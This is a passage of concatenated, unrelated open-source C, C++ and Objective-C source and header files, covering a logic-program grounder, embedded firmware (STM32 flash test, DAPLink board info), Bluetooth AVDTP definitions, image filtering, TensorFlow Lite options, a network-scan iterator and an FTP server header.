AnnotationsError addRuleAtomIndexingSetting(Rule* rule, Atom* atom, vector<unsigned>& arguments);
void addRulePartialOrder(Rule* rule){rulesPartialOrders[rule->getIndex()].emplace_back();rulesPartialOrdersAtoms[rule->getIndex()].emplace_back();}
AnnotationsError addRulePartialOrderAtom(Rule* rule, Atom* atom);
AnnotationsError checkRulePartialOrderConflicts(Rule* rule);
AnnotationsError applyRulePartialOrder(Rule* rule);
bool addGlobalOrderingType(unsigned orderingType);
void addGlobalAtomIndexingSetting(Atom* atom, vector<unsigned>& arguments);
void addGlobalPartialOrder(){ globalPartialOrdersAtoms.emplace_back();}
void addGlobalPartialOrderAtomStart(Atom* atom);
void addGlobalPartialOrderAtomEnd(Atom* atom);
int getOrderingType(Rule* r) ;
pair<bool,int> getProjectionType(Rule* r){
auto i =r->getIndex();
if(rulesProjectionTypes.count(i))
return {true,rulesProjectionTypes[i]};
return {false,-1};
}
bool getRewArith(Rule* r){
return rulesRewArith.count(r->getIndex());
}
bool getLookAhead(Rule* r){
return rulesLookAhead.count(r->getIndex());
}
bool getAlignSubstitutions(Rule* r){
return rulesAlignSubstitutions.count(r->getIndex());
}
bool checkPartialOrder(Rule* rule,unsigned atomPosition,const list<unsigned>& atoms) ;
bool checkAtomIndexed(Rule* rule,Atom* atom,const vector<unsigned>& possibileArgs, vector<unsigned>& idxTerms) ;
static GroundingPreferences* getGroundingPreferences() {
if(groundingPreferences==0)
groundingPreferences=new GroundingPreferences();
return groundingPreferences;
}
~GroundingPreferences(){};
static void freeInstance(){ delete groundingPreferences;}
static void checkIfAtomIsPresentInRule(Rule* rule, Atom* atom, vector<unsigned>& positions);
void print(Rule* rule) const;
private:
unordered_map<unsigned,unsigned> rulesOrderingTypes;
unordered_map<unsigned,unsigned> rulesProjectionTypes;
unordered_set<unsigned> rulesRewArith;
unordered_set<unsigned> rulesLookAhead;
unordered_set<unsigned> rulesAlignSubstitutions;
unordered_map<unsigned,unordered_map_pointers_atom_arguments> rulesAtomsIndexed;
unordered_map<unsigned,vector<vector<bool>>> rulesPartialOrders;
unordered_map<unsigned,vector<vector<Atom*>>> rulesPartialOrdersAtoms;
int globalOrderingType;
unordered_map_atom_arguments globalAtomsIndexed;
vector<list<Atom*>> globalPartialOrdersAtoms;
bool applayedGlobalAnnotations;
bool applyGlobalAtomIndexingSetting();
bool applyGlobalPartialOrder();
void setGlobalAnnotations();
GroundingPreferences():globalOrderingType(-1),applayedGlobalAnnotations(false){};
static GroundingPreferences* groundingPreferences;
};
} /* namespace grounder */
} /* namespace DLV2 */
#endif /* SRC_GROUNDER_STATEMENT_GROUNDINGPREFERENCES_H_ */
|
/**
* @file ff_lpc546xx.c
* @brief board ID for the NXP LPC54608Xpresso board
*
* DAPLink Interface Firmware
* Copyright (c) 2009-2019, ARM Limited, All Rights Reserved
* SPDX-License-Identifier: Apache-2.0
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "target_family.h"
#include "target_board.h"
const board_info_t g_board_info = {
.info_version = kBoardInfoVersion,
.board_id = "8081",
.family_id = kStub_HWReset_FamilyID,
.daplink_url_name = "PRODINFOHTM",
.daplink_drive_name = "FF-LPC546XX",
.daplink_target_url = "https://os.mbed.com/platforms/L-TEK-FF-LPC546XX",
.target_cfg = &target_device,
};
|
/******************** (C) COPYRIGHT 2012 WildFire Team **************************
* 文件名 :main.c
* 描述 :华邦 2M串行flash测试,并将测试信息通过串口1在电脑的超级终端中打印出来。
* 实验平台:野火STM32开发板
* 库版本 :ST3.5.0
*
* 作者 :wildfire team
* 论坛 :http://www.amobbs.com/forum-1008-1.html
* 淘宝 :http://firestm32.taobao.com
**********************************************************************************/
#include "stm32f10x.h"
#include "usart1.h"
#include "spi_flash.h"
typedef enum { FAILED = 0, PASSED = !FAILED} TestStatus;
/* 获取缓冲区的长度 */
#define TxBufferSize1 (countof(TxBuffer1) - 1)
#define RxBufferSize1 (countof(TxBuffer1) - 1)
#define countof(a) (sizeof(a) / sizeof(*(a)))
#define BufferSize (countof(Tx_Buffer)-1)
#define FLASH_WriteAddress 0x00000
#define FLASH_ReadAddress FLASH_WriteAddress
#define FLASH_SectorToErase FLASH_WriteAddress
#define sFLASH_ID 0xEF3015 //W25X16
//#define sFLASH_ID 0xEF4015 //W25Q16
/* 发送缓冲区初始化 */
uint8_t Tx_Buffer[] = " 感谢您选用野火stm32开发板\r\n http://firestm32.taobao.com";
uint8_t Rx_Buffer[BufferSize];
__IO uint32_t DeviceID = 0;
__IO uint32_t FlashID = 0;
__IO TestStatus TransferStatus1 = FAILED;
// 函数原型声明
void Delay(__IO uint32_t nCount);
TestStatus Buffercmp(uint8_t* pBuffer1, uint8_t* pBuffer2, uint16_t BufferLength);
/*
* 函数名:main
* 描述 :主函数
* 输入 :无
* 输出 :无
*/
int main(void)
{
/* 配置串口1为:115200 8-N-1 */
USART1_Config();
printf("\r\n 这是一个2M串行flash(W25X16)实验 \r\n");
/* 2M串行flash W25X16初始化 */
SPI_FLASH_Init();
/* Get SPI Flash Device ID */
DeviceID = SPI_FLASH_ReadDeviceID();
Delay( 200 );
/* Get SPI Flash ID */
FlashID = SPI_FLASH_ReadID();
printf("\r\n FlashID is 0x%X, Manufacturer Device ID is 0x%X\r\n", FlashID, DeviceID);
/* Check the SPI Flash ID */
if (FlashID == sFLASH_ID) /* #define sFLASH_ID 0xEF3015 */
{
printf("\r\n 检测到华邦串行flash W25X16 !\r\n");
/* Erase SPI FLASH Sector to write on */
SPI_FLASH_SectorErase(FLASH_SectorToErase);
/* 将发送缓冲区的数据写到flash中 */
SPI_FLASH_BufferWrite(Tx_Buffer, FLASH_WriteAddress, BufferSize);
printf("\r\n 写入的数据为:%s \r\t", Tx_Buffer);
/* 将刚刚写入的数据读出来放到接收缓冲区中 */
SPI_FLASH_BufferRead(Rx_Buffer, FLASH_ReadAddress, BufferSize);
printf("\r\n 读出的数据为:%s \r\n", Tx_Buffer);
/* 检查写入的数据与读出的数据是否相等 */
TransferStatus1 = Buffercmp(Tx_Buffer, Rx_Buffer, BufferSize);
if( PASSED == TransferStatus1 )
{
printf("\r\n 2M串行flash(W25X16)测试成功!\n\r");
}
else
{
printf("\r\n 2M串行flash(W25X16)测试失败!\n\r");
}
}// if (FlashID == sFLASH_ID)
else
{
printf("\r\n 获取不到 W25X16 ID!\n\r");
}
SPI_Flash_PowerDown();
while(1);
}
/*
* 函数名:Buffercmp
* 描述 :比较两个缓冲区中的数据是否相等
* 输入 :-pBuffer1 src缓冲区指针
* -pBuffer2 dst缓冲区指针
* -BufferLength 缓冲区长度
* 输出 :无
* 返回 :-PASSED pBuffer1 等于 pBuffer2
* -FAILED pBuffer1 不同于 pBuffer2
*/
TestStatus Buffercmp(uint8_t* pBuffer1, uint8_t* pBuffer2, uint16_t BufferLength)
{
while(BufferLength--)
{
if(*pBuffer1 != *pBuffer2)
{
return FAILED;
}
pBuffer1++;
pBuffer2++;
}
return PASSED;
}
void Delay(__IO uint32_t nCount)
{
for(; nCount != 0; nCount--);
}
/******************* (C) COPYRIGHT 2012 WildFire Team *****END OF FILE************/
|
/**
* Copyright (C) 2009 bdferris <[email protected]>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#import "OBAApplicationDelegate.h"
NS_ASSUME_NONNULL_BEGIN
@interface OBANetworkErrorAlertViewDelegate : NSObject <UIAlertViewDelegate> {
OBAApplicationDelegate * _context;
}
- (id) initWithContext:(OBAApplicationDelegate*)context;
@end
NS_ASSUME_NONNULL_END
|
/*
* Copyright 2012 ZXing authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#import "ZXReader.h"
@class ZXBinaryBitmap, ZXDecodeHints, ZXResult;
/**
* This implementation can detect and decode a MaxiCode in an image.
*/
@interface ZXMaxiCodeReader : NSObject <ZXReader>
@end
|
/*
* nativescriptassert.h
*
* Created on: 12.11.2013
* Author: blagoev
*/
#ifndef NATIVESCRIPTASSERT_H_
#define NATIVESCRIPTASSERT_H_
#include <android/log.h>
namespace tns {
extern bool LogEnabled;
#define DEBUG_WRITE(fmt, args...) if (tns::LogEnabled) __android_log_print(ANDROID_LOG_DEBUG, "TNS.Native", fmt, ##args)
#define DEBUG_WRITE_FORCE(fmt, args...) __android_log_print(ANDROID_LOG_DEBUG, "TNS.Native", fmt, ##args)
#define DEBUG_WRITE_FATAL(fmt, args...) __android_log_print(ANDROID_LOG_FATAL, "TNS.Native", fmt, ##args)
}
#endif /* NATIVESCRIPTASSERT_H_ */
|
/************************************************************************************
* XtApp.h : header file
*
* CXtApp Definition header, An Application framework for common use
* (Xtrovert Application Frameworks).
*
* AUTHOR : Sean Feng <[email protected]>
* DATE : Aug. 7, 2012
* Copyright (c) 2009-?. All Rights Reserved.
*
* This code may be used in compiled form in any way you desire. This
* file may be redistributed unmodified by any means PROVIDING it is
* not sold for profit without the authors written consent, and
* providing that this notice and the authors name and all copyright
* notices remains int act.
*
* An email letting me know how you are using it would be nice as well.
*
* This file is provided "as is" with no expressed or implied warranty.
* The author accepts no liability for any damage/loss of business that
* this product may cause.
*
************************************************************************************/
#ifndef __XT_APPLICATION_H__
#define __XT_APPLICATION_H__
#include "XtThread.h"
/*
Application Parameter:
-buildinfo(bi) Compiler, Platform(Win/Linux, 32/64bits), Built date.
-start/stop/restart
-reload
*/
//////////////////////////////////////////////////////////////////////////
// CLASS CXtApp
//////////////////////////////////////////////////////////////////////////
/* Terminate flag */
enum {
XTAPP_TF_STOP=0,
XTAPP_TF_RUNNING,
XTAPP_TF_RESTART,
XTAPP_TF_END
};
/* _T('-') */
const TCHAR XT_STRCMD_DIRECTIVE_BRIEF;
/* Complete Directive_T("--") [CPLT means Complete] */
const TCHAR XT_STRCMD_DIRECTIVE_CPLT[2]; /* _T("--") */
/* _T('/') */
const TCHAR XT_STRCMD_DIRECTIVE_SLASH; /* Compatible to Windows _T('/') */
class CXtApp : public CXtThread
{
public:
CXtApp(void);
virtual ~CXtApp(void);
// System Environment initialization/destruction.
int InitApplication( int argc, TCHAR *argv[] );
int ExitApplication(void);
// Application logics initialization/destruction.
int InitInstance(void);
int ExitInstance(void); // return app exit code
int RestartInstance(void); // handle restart by Restart Manager
int Run(void);
/* Administrator Mode */
/*int OptCmdAdmin(void);*/
/*int CmdNetState(void);*/
/*int CmdNetConnect( TCHAR *szAddress );*/
/*int CmdNetRestart(void);*/
/*int CmdNetPing( TCHAR *szAddress );*/
static int m_nTermFlag;
static CXtApp *m_pThisApp;
#if defined(_DEBUG)
void SetLabel( const TCHAR *szLabel );
TCHAR m_szLabel[_MAX_STR_LEN_32_];
#endif
protected:
virtual void Reset(void);
// virtual BOOL OnIdle( LONG lCount ); // return TRUE if more idle processing
/*****************************************************************
* InitApplication() is implemented with the following methods.
* ExitApplication() is implemented with the following methods.
******************************************************************/
/* React to a shell-issued command line directive. */
virtual int ProcessShellCommand( int argc, TCHAR *argv[] );
virtual BOOL GetShellCommand( int argc, TCHAR* argv[], const TCHAR **cszOption, const TCHAR **cszParam );
/* Decide whether process runs under Daemon Mode. */
virtual void SetupDaemonMode(void); /* Setup : m_bDaemon = TRUE/FALSE */
/* Do something extra in derived-class. */
virtual int OnInitApp(void);
virtual int OnExitApp(void);
/*****************************************************************
* InitApplication()/ExitApplication() implementation END
******************************************************************/
/*****************************************************************
* InitInstance() is implemented with the following methods.
* ExitInstance() is implemented with the following methods.
******************************************************************/
int Daemon(void);
virtual int OnInitInstance(void);
virtual int OnExitInstance(void);
/*****************************************************************
* InitInstance()/ExitInstance() implementation END
******************************************************************/
/*****************************************************************
* Run() is implemented with the following methods.
******************************************************************/
virtual int AppProc(void);
/*****************************************************************
* Run() implementation END
******************************************************************/
/* Methods */
int GetCwd( TCHAR *szDir ); /* Get current working directory. */
int SetCwd( const TCHAR *szDir ); /* Set current working directory. */
int GetExeDir( TCHAR *szDir ); /* Get directory where exe-file lies in. */
const TCHAR* GetCmdLineString(void); /* Get command line string, that how to start this program. */
static void GotTerminate( int sig );
/*virtual int WaitThreads(void);*/
/* This process is running under daemon mode or not? */
BOOL m_bDaemon; /* SetupDaemonMode() setup this member. */
BOOL m_bRestart;
private:
};
#endif /*__XT_APPLICATION_H__*/
|
/*
* avdtp_internal.h - avdtp handling
* Copyright (c) 2015-2016 Intel Corporation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <bluetooth/avdtp.h>
/* @brief A2DP ROLE's */
#define A2DP_SRC_ROLE 0x00
#define A2DP_SNK_ROLE 0x01
/* @brief AVDTP Role */
#define BT_AVDTP_INT 0x00
#define BT_AVDTP_ACP 0x01
#define BT_L2CAP_PSM_AVDTP 0x0019
/* AVDTP SIGNAL HEADER - Packet Type*/
#define BT_AVDTP_PACKET_TYPE_SINGLE 0x00
#define BT_AVDTP_PACKET_TYPE_START 0x01
#define BT_AVDTP_PACKET_TYPE_CONTINUE 0x02
#define BT_AVDTP_PACKET_TYPE_END 0x03
/* AVDTP SIGNAL HEADER - MESSAGE TYPE */
#define BT_AVDTP_MSG_TYPE_CMD 0x00
#define BT_AVDTP_MSG_TYPE_GEN_REJECT 0x01
#define BT_AVDTP_MSG_TYPE_ACCEPT 0x02
#define BT_AVDTP_MSG_TYPE_REJECT 0x03
/* @brief AVDTP SIGNAL HEADER - Signal Identifier */
#define BT_AVDTP_DISCOVER 0x01
#define BT_AVDTP_GET_CAPABILITIES 0x02
#define BT_AVDTP_SET_CONFIGURATION 0x03
#define BT_AVDTP_GET_CONFIGURATION 0x04
#define BT_AVDTP_RECONFIGURE 0x05
#define BT_AVDTP_OPEN 0x06
#define BT_AVDTP_START 0x07
#define BT_AVDTP_CLOSE 0x08
#define BT_AVDTP_SUSPEND 0x09
#define BT_AVDTP_ABORT 0x0a
#define BT_AVDTP_SECURITY_CONTROL 0x0b
#define BT_AVDTP_GET_ALL_CAPABILITIES 0x0c
#define BT_AVDTP_DELAYREPORT 0x0d
/* @brief AVDTP STATE */
#define BT_AVDTP_STATE_IDLE 0x01
#define BT_AVDTP_STATE_CONFIGURED 0x02
#define BT_AVDTP_STATE_OPEN 0x03
#define BT_AVDTP_STATE_STREAMING 0x04
#define BT_AVDTP_STATE_CLOSING 0x05
#define BT_AVDTP_STATE_ABORT 0x06
#define BT_AVDTP_STATE_SIG_CONNECTED 0x07
#define BT_AVDTP_STATE_SIG_DISCONNECTED 0x08
#define BT_AVDTP_STATE_INVALID 0x00
/* @brief AVDTP Media TYPE */
#define BT_AVDTP_SERVICE_CAT_MEDIA_TRANSPORT 0x01
#define BT_AVDTP_SERVICE_CAT_REPORTING 0x02
#define BT_AVDTP_SERVICE_CAT_RECOVERY 0x03
#define BT_AVDTP_SERVICE_CAT_CONTENT_PROTECTION 0x04
#define BT_AVDTP_SERVICE_CAT_HDR_COMPRESSION 0x05
#define BT_AVDTP_SERVICE_CAT_MULTIPLEXING 0x06
#define BT_AVDTP_SERVICE_CAT_MEDIA_CODEC 0x07
#define BT_AVDTP_SERVICE_CAT_DELAYREPORTING 0x08
/* AVDTP Error Codes */
#define BT_AVDTP_SUCCESS 0x00
#define BT_AVDTP_ERR_BAD_HDR_FORMAT 0x01
#define BT_AVDTP_ERR_BAD_LENGTH 0x11
#define BT_AVDTP_ERR_BAD_ACP_SEID 0x12
#define BT_AVDTP_ERR_SEP_IN_USE 0x13
#define BT_AVDTP_ERR_SEP_NOT_IN_USE 0x14
#define BT_AVDTP_ERR_BAD_SERV_CATEGORY 0x17
#define BT_AVDTP_ERR_BAD_PAYLOAD_FORMAT 0x18
#define BT_AVDTP_ERR_NOT_SUPPORTED_COMMAND 0x19
#define BT_AVDTP_ERR_INVALID_CAPABILITIES 0x1a
#define BT_AVDTP_ERR_BAD_RECOVERY_TYPE 0x22
#define BT_AVDTP_ERR_BAD_MEDIA_TRANSPORT_FORMAT 0x23
#define BT_AVDTP_ERR_BAD_RECOVERY_FORMAT 0x25
#define BT_AVDTP_ERR_BAD_ROHC_FORMAT 0x26
#define BT_AVDTP_ERR_BAD_CP_FORMAT 0x27
#define BT_AVDTP_ERR_BAD_MULTIPLEXING_FORMAT 0x28
#define BT_AVDTP_ERR_UNSUPPORTED_CONFIGURAION 0x29
#define BT_AVDTP_ERR_BAD_STATE 0x31
#define BT_AVDTP_MIN_MTU 48
#define BT_AVDTP_MAX_MTU CONFIG_BLUETOOTH_L2CAP_IN_MTU
#define BT_AVDTP_MIN_SEID 0x01
#define BT_AVDTP_MAX_SEID 0x3E
/* Helper to calculate needed outgoing buffer size. */
#define BT_AVDTP_BUF_SIZE(mtu) (CONFIG_BLUETOOTH_HCI_SEND_RESERVE + \
sizeof(struct bt_hci_acl_hdr) + \
sizeof(struct bt_l2cap_hdr) + \
BT_AVDTP_SIG_HDR_LEN + (mtu))
struct bt_avdtp_single_sig_hdr {
uint8_t hdr;
uint8_t signal_id;
} __packed;
#define BT_AVDTP_SIG_HDR_LEN sizeof(struct bt_avdtp_single_sig_hdr)
struct bt_avdtp_cfm_cb {
/*
* Discovery_cfm;
* get_capabilities_cfm;
* set_configuration_cfm;
* open_cfm;
* start_cfm;
* suspend_cfm;
* close_cfm;
*/
};
struct bt_avdtp_ind_cb {
/*
* discovery_ind;
* get_capabilities_ind;
* set_configuration_ind;
* open_ind;
* start_ind;
* suspend_ind;
* close_ind;
*/
};
struct bt_avdtp_event_cb {
struct bt_avdtp_ind_cb *ind;
struct bt_avdtp_cfm_cb *cfm;
};
/** @brief Global AVDTP session structure. */
struct bt_avdtp {
struct bt_l2cap_br_chan br_chan;
uint8_t state; /* current state of AVDTP*/
};
/* Initialize AVDTP layer*/
int bt_avdtp_init(void);
/* Application register with AVDTP layer */
int bt_avdtp_register(struct bt_avdtp_event_cb *cb);
/* AVDTP connect */
int bt_avdtp_connect(struct bt_conn *conn, struct bt_avdtp *session);
/* AVDTP disconnect */
int bt_avdtp_disconnect(struct bt_avdtp *session);
/* AVDTP SEP register function */
int bt_avdtp_register_sep(uint8_t media_type, uint8_t role,
struct bt_avdtp_seid_lsep *sep);
|
/*=========================================================================
*
* Copyright Insight Software Consortium
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0.txt
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*=========================================================================*/
#ifndef itkLaplacianImageFilter_h
#define itkLaplacianImageFilter_h
#include "itkImageToImageFilter.h"
namespace itk
{
/**
* \class LaplacianImageFilter
*
* This filter computes the Laplacian of a scalar-valued image. The Laplacian
* is an isotropic measure of the 2nd spatial derivative of an image. The
* Laplacian of an image highlights regions of rapid intensity change and is
* therefore often used for edge detection. Often, the Laplacian is applied to
* an image that has first been smoothed with a Gaussian filter in order to
* reduce its sensitivity to noise.
*
* \par
* The Laplacian at each pixel location is computed by convolution with the
* itk::LaplacianOperator.
*
* \par Inputs and Outputs
* The input to this filter is a scalar-valued itk::Image of arbitrary
* dimension. The output is a scalar-valued itk::Image.
*
* \warning The pixel type of the input and output images must be of real type
* (float or double). ConceptChecking is used here to enforce the input pixel
* type. You will get a compilation error if the pixel type of the input and
* output images is not float or double.
*
* \sa Image
* \sa Neighborhood
* \sa NeighborhoodOperator
* \sa NeighborhoodIterator
* \sa LaplacianOperator
*
* \ingroup ImageFeatureExtraction
* \ingroup ITKImageFeature
*
* \wiki
* \wikiexample{ImageProcessing/LaplacianImageFilter,Compute the Laplacian of an image}
* \endwiki
*/
template< typename TInputImage, typename TOutputImage >
class LaplacianImageFilter:
public ImageToImageFilter< TInputImage, TOutputImage >
{
public:
/** Standard "Self" & Superclass typedef. */
typedef LaplacianImageFilter Self;
typedef ImageToImageFilter< TInputImage, TOutputImage > Superclass;
/** Extract some information from the image types. Dimensionality
* of the two images is assumed to be the same. */
typedef typename TOutputImage::PixelType OutputPixelType;
typedef typename TOutputImage::InternalPixelType OutputInternalPixelType;
typedef typename TInputImage::PixelType InputPixelType;
typedef typename TInputImage::InternalPixelType InputInternalPixelType;
itkStaticConstMacro(InputImageDimension, unsigned int,
TInputImage::ImageDimension);
itkStaticConstMacro(ImageDimension, unsigned int,
TOutputImage::ImageDimension);
/** Image typedef support. */
typedef TInputImage InputImageType;
typedef TOutputImage OutputImageType;
typedef typename InputImageType::Pointer InputImagePointer;
/** Smart pointer typedef support. */
typedef SmartPointer< Self > Pointer;
typedef SmartPointer< const Self > ConstPointer;
/** Run-time type information (and related methods) */
itkTypeMacro(LaplacianImageFilter, ImageToImageFilter);
/** Method for creation through the object factory. */
itkNewMacro(Self);
/** LaplacianImageFilter needs a larger input requested region than
* the output requested region (larger in the direction of the
* derivative). As such, LaplacianImageFilter needs to provide an
* implementation for GenerateInputRequestedRegion() in order to
* inform the pipeline execution model.
*
* \sa ImageToImageFilter::GenerateInputRequestedRegion() */
virtual void GenerateInputRequestedRegion() ITK_OVERRIDE;
/** Enable/Disable using the image spacing information in
* calculations. Use this option if you want derivatives in
* physical space. Default is UseImageSpacingOn. */
itkBooleanMacro( UseImageSpacing );
/** Set/Get whether or not the filter will use the spacing of the input
image in its calculations */
itkSetMacro(UseImageSpacing, bool);
itkGetConstMacro(UseImageSpacing, bool);
#ifdef ITK_USE_CONCEPT_CHECKING
// Begin concept checking
itkConceptMacro( SameDimensionCheck,
( Concept::SameDimension< InputImageDimension, ImageDimension > ) );
itkConceptMacro( InputPixelTypeIsFloatingPointCheck,
( Concept::IsFloatingPoint< InputPixelType > ) );
itkConceptMacro( OutputPixelTypeIsFloatingPointCheck,
( Concept::IsFloatingPoint< OutputPixelType > ) );
// End concept checking
#endif
protected:
LaplacianImageFilter()
{
m_UseImageSpacing = true;
}
virtual ~LaplacianImageFilter() {}
/** Standard pipeline method. While this class does not implement a
* ThreadedGenerateData(), its GenerateData() delegates all
* calculations to an NeighborhoodOperatorImageFilter. Since the
* NeighborhoodOperatorImageFilter is multithreaded, this filter is
* multithreaded by default. */
void GenerateData() ITK_OVERRIDE;
void PrintSelf(std::ostream &, Indent) const ITK_OVERRIDE;
private:
ITK_DISALLOW_COPY_AND_ASSIGN(LaplacianImageFilter);
bool m_UseImageSpacing;
};
} // end namespace itk
#ifndef ITK_MANUAL_INSTANTIATION
#include "itkLaplacianImageFilter.hxx"
#endif
#endif
|
/* Copyright 2019 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#ifndef TENSORFLOW_COMPILER_MLIR_LITE_TF_TFL_TRANSLATE_CL_H_
#define TENSORFLOW_COMPILER_MLIR_LITE_TF_TFL_TRANSLATE_CL_H_
// This file contains command-line options aimed to provide the parameters
// required by the TensorFlow Graph(Def) to TF Lite Flatbuffer conversion. It is
// only intended to be included by binaries.
#include <string>
#include "llvm/Support/CommandLine.h"
// The commandline options are defined in LLVM style, so the caller should
// use llvm::InitLLVM to initilize the options.
//
// Please see the implementation file for documentation of details of these
// options.
// TODO(jpienaar): Revise the command line option parsing here.
extern llvm::cl::opt<std::string> input_file_name;
extern llvm::cl::opt<std::string> output_file_name;
extern llvm::cl::opt<bool> use_splatted_constant;
extern llvm::cl::opt<bool> input_mlir;
extern llvm::cl::opt<bool> output_mlir;
extern llvm::cl::list<std::string> extra_opdefs;
extern llvm::cl::opt<bool> emit_quant_adaptor_ops;
extern llvm::cl::opt<std::string> quant_stats_file_name;
#endif // TENSORFLOW_COMPILER_MLIR_LITE_TF_TFL_TRANSLATE_CL_H_
|
#include <assert.h>
#include <pthread.h>
#include <stdint.h>
#include <time.h>
#include "../lib/includes.h"
#include "../lib/blacklist.h"
#include "../lib/logger.h"
#include "../lib/xalloc.h"
#include "iterator.h"
#include "aesrand.h"
#include "shard.h"
#include "state.h"
struct iterator {
cycle_t cycle;
uint8_t num_threads;
shard_t *thread_shards;
uint8_t *complete;
pthread_mutex_t mutex;
uint32_t curr_threads;
};
void shard_complete(uint8_t thread_id, void *arg)
{
iterator_t *it = (iterator_t *) arg;
assert(thread_id < it->num_threads);
pthread_mutex_lock(&it->mutex);
it->complete[thread_id] = 1;
it->curr_threads--;
shard_t *s = &it->thread_shards[thread_id];
zsend.sent += s->state.sent;
zsend.blacklisted += s->state.blacklisted;
zsend.whitelisted += s->state.whitelisted;
zsend.sendto_failures += s->state.failures;
uint8_t done = 1;
for (uint8_t i = 0; done && (i < it->num_threads); ++i) {
done = done && it->complete[i];
}
if (done) {
zsend.finish = now();
zsend.complete = 1;
zsend.first_scanned = it->thread_shards[0].state.first_scanned;
}
pthread_mutex_unlock(&it->mutex);
}
iterator_t* iterator_init(uint8_t num_threads, uint8_t shard,
uint8_t num_shards)
{
uint64_t num_addrs = blacklist_count_allowed();
iterator_t *it = xmalloc(sizeof(struct iterator));
const cyclic_group_t *group = get_group(num_addrs);
if (num_addrs > (1LL << 32)) {
zsend.max_index = 0xFFFFFFFF;
} else {
zsend.max_index = (uint32_t) num_addrs;
}
it->cycle = make_cycle(group, zconf.aes);
it->num_threads = num_threads;
it->curr_threads = num_threads;
it->thread_shards = xcalloc(num_threads, sizeof(shard_t));
it->complete = xcalloc(it->num_threads, sizeof(uint8_t));
pthread_mutex_init(&it->mutex, NULL);
for (uint8_t i = 0; i < num_threads; ++i) {
shard_init(&it->thread_shards[i],
shard,
num_shards,
i,
num_threads,
&it->cycle,
shard_complete,
it
);
}
zconf.generator = it->cycle.generator;
return it;
}
uint32_t iterator_get_sent(iterator_t *it)
{
uint32_t sent = 0;
for (uint8_t i = 0; i < it->num_threads; ++i) {
sent += it->thread_shards[i].state.sent;
}
return sent;
}
shard_t* get_shard(iterator_t *it, uint8_t thread_id)
{
assert(thread_id < it->num_threads);
return &it->thread_shards[thread_id];
}
uint32_t iterator_get_curr_send_threads(iterator_t *it)
{
assert(it);
return it->curr_threads;
}
|
#pragma once
#include "DBC/DBC__File.h"
DBC_DEF_BEGIN(DBC_CreatureDisplayInfo)
__DBC_REF_ID(DBC_CreatureModelData, CreatureModelDataID, 2);
__DBC_TVALUE(uint32, SoundID, 3);
__DBC_REF_ID(DBC_CreatureDisplayInfoExtra, HumanoidData, 4);
__DBC_TVALUE(float_t, Scale, 5);
__DBC_TVALUE(uint32, Opacity, 6); // 0 - 255
__DBC_STRING(Texture1, 7); // Name of texture for 1st geoset with type 2 (see this). Texture must be in the same dir as M2 file of creature is.
__DBC_STRING(Texture2, 8); // Name of texture for 2nd geoset with type 2 (see this). Texture must be in the same dir as M2 file of creature is.
__DBC_STRING(Texture3, 9); // Name of texture for 3rd geoset with type 2 (see this). Texture must be in the same dir as M2 file of creature is.
__DBC_STRING(PortaitTexture, 10);
__DBC_TVALUE(uint32, UnitBloodLevelID, 11);
__DBC_TVALUE(uint32, UnitBloodID, 12);
__DBC_TVALUE(uint32, NPCSoundsID, 13);
__DBC_TVALUE(uint32, ParticlesID, 14);
__DBC_TVALUE(uint32, CreatureGeosetData, 15);
__DBC_TVALUE(uint32, ObjectEffectPackageID, 16);
DBC_DEF_END
|
#ifndef _CUFTPD_H
#define _CUFTPD_H
#define CUFTPD_DEBUG(fmt, ...) cuftpd_debug(__FILE__, __LINE__, fmt, __VA_ARGS__)
#define CUFTPD_ARR_LEN(arr) (sizeof(arr)/sizeof(arr[0]))
#define CUFTPD_VER "1.0"
#define CUFTPD_DEF_SRV_PORT 21
#define CUFTPD_LISTEN_QU_LEN 8
#define CUFTPD_LINE_END "\r\n"
#define CUFTPD_OK 0
#define CUFTPD_ERR (-1)
#define CUFTPD_CHECK_LOGIN() \
do { \
if (!cuftpd_cur_user) { \
cuftpd_send_resp(ctrlfd, 530, "first please"); \
return CUFTPD_ERR; \
} \
} while(0)
struct cuftpd_cmd_struct {
char *cmd_name;
int (*cmd_handler)(int ctrlfd, char *cmd_line);
};
struct cuftpd_user_struct {
char user[128];
char pass[128];
};
#endif
|
//
// WJAuthorView.h
// 糗百框架
//
// Created by 孙文君 on 15/6/30.
// Copyright (c) 2015年 sunwenjun. All rights reserved.
